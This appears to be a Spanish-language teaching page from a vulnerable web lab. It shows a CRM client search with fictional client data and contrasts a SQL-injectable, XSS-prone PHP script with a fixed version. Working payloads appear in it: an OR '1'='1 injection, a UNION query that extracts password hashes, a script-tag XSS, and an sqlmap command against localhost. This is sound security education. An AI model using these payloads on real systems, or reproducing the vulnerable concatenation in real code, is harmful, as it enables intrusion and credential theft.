Buscador de Clientes

CRM de Nexo - Cartera de 8 clientes

Pista del lab: Proba buscar: ' OR '1'='1 o ' UNION SELECT id,username,password_md5,email,role,created_at,7,8 FROM users--

Todos los clientes 8 registros

ID	Nombre/Razon Social	RUT	Email	Telefono	Direccion
`6`	Asesorías Legales Pérez & Muñoz	`77.654.321-0`	contacto@perezymunoz.cl	+56 2 2777 8899	Moneda 920, Of. 1201, Santiago
`8`	Clínica Dental Sonrisas SpA	`78.901.234-5`	recepcion@sonrisas.cl	+56 2 2333 4455	Irarrázaval 2580, Ñuñoa
`3`	Comercial Fernández e Hijos	`78.456.789-0`	administracion@fernandez.cl	+56 41 222 3344	O'Higgins 567, Concepción
`1`	Constructora González y Asociados SpA	`76.543.210-K`	contacto@gonzalezasociados.cl	+56 2 2345 6789	Av. Providencia 1234, Of. 501, Santiago
`5`	Distribuidora Nacional de Alimentos S.A.	`79.012.345-6`	compras@dinalimentos.cl	+56 2 2444 5566	Autopista Central 5000, Quilicura
`2`	Importadora del Pacífico Ltda.	`77.891.234-5`	ventas@importadorapacifico.cl	+56 2 2987 6543	Blanco 1199, Valparaíso
`4`	Servicios Técnicos Martínez SPA	`76.234.567-8`	gerencia@stmartinez.cl	+56 2 2111 2233	Las Condes 8899, Santiago
`7`	Transportes Ruta Sur Ltda.	`76.789.012-3`	operaciones@rutasur.cl	+56 45 234 5678	Camino a Melipilla Km 25, Maipú

Version Vulnerable

buscar.php

Concatena el input en la query. Sin htmlspecialchars en el output.

Version Segura

buscar_secure.php

Prepared statements + htmlspecialchars en el output.

El buscador de clientes arma la query SQL por concatenacion directa:

$q = "SELECT * FROM clients 
WHERE name LIKE '%" . $_GET['q'] . "%'";

Esto permite:

SQL Injection: extraer datos de otras tablas
XSS reflejado: el output no esta sanitizado

# SQL Injection basico - ver todos los clientes
curl "http://localhost:8082/a05_clientes/buscar.php?q=' OR '1'='1"

# UNION - extraer usuarios y passwords (MD5)
curl "http://localhost:8082/a05_clientes/buscar.php?q=' UNION SELECT id,username,password_md5,email,role,created_at,7,8 FROM users-- "

# XSS reflejado
curl "http://localhost:8082/a05_clientes/buscar.php?q=<script>alert('XSS')</script>"

# SQLMap automatizado
sqlmap -u "http://localhost:8082/a05_clientes/buscar.php?q=test" --dbs

Herramientas: SQLMap Burp Suite curl

// VULNERABLE (buscar.php):
$q = "SELECT * FROM clients WHERE name LIKE '%" . $_GET['q'] . "%'";
$result = $conn->query($q);
echo $row['name']; // Sin escapar

// SEGURO (buscar_secure.php):
$stmt = $pdo->prepare("SELECT * FROM clients WHERE name LIKE ?");
$stmt->execute(['%' . $q . '%']);
echo htmlspecialchars($row['name']); // Escapado

Equifax (2017)

La filtracion de datos de 147 millones de personas empezo por una vulnerabilidad de injection en Apache Struts. Costo estimado: $1.4 billones de dolares.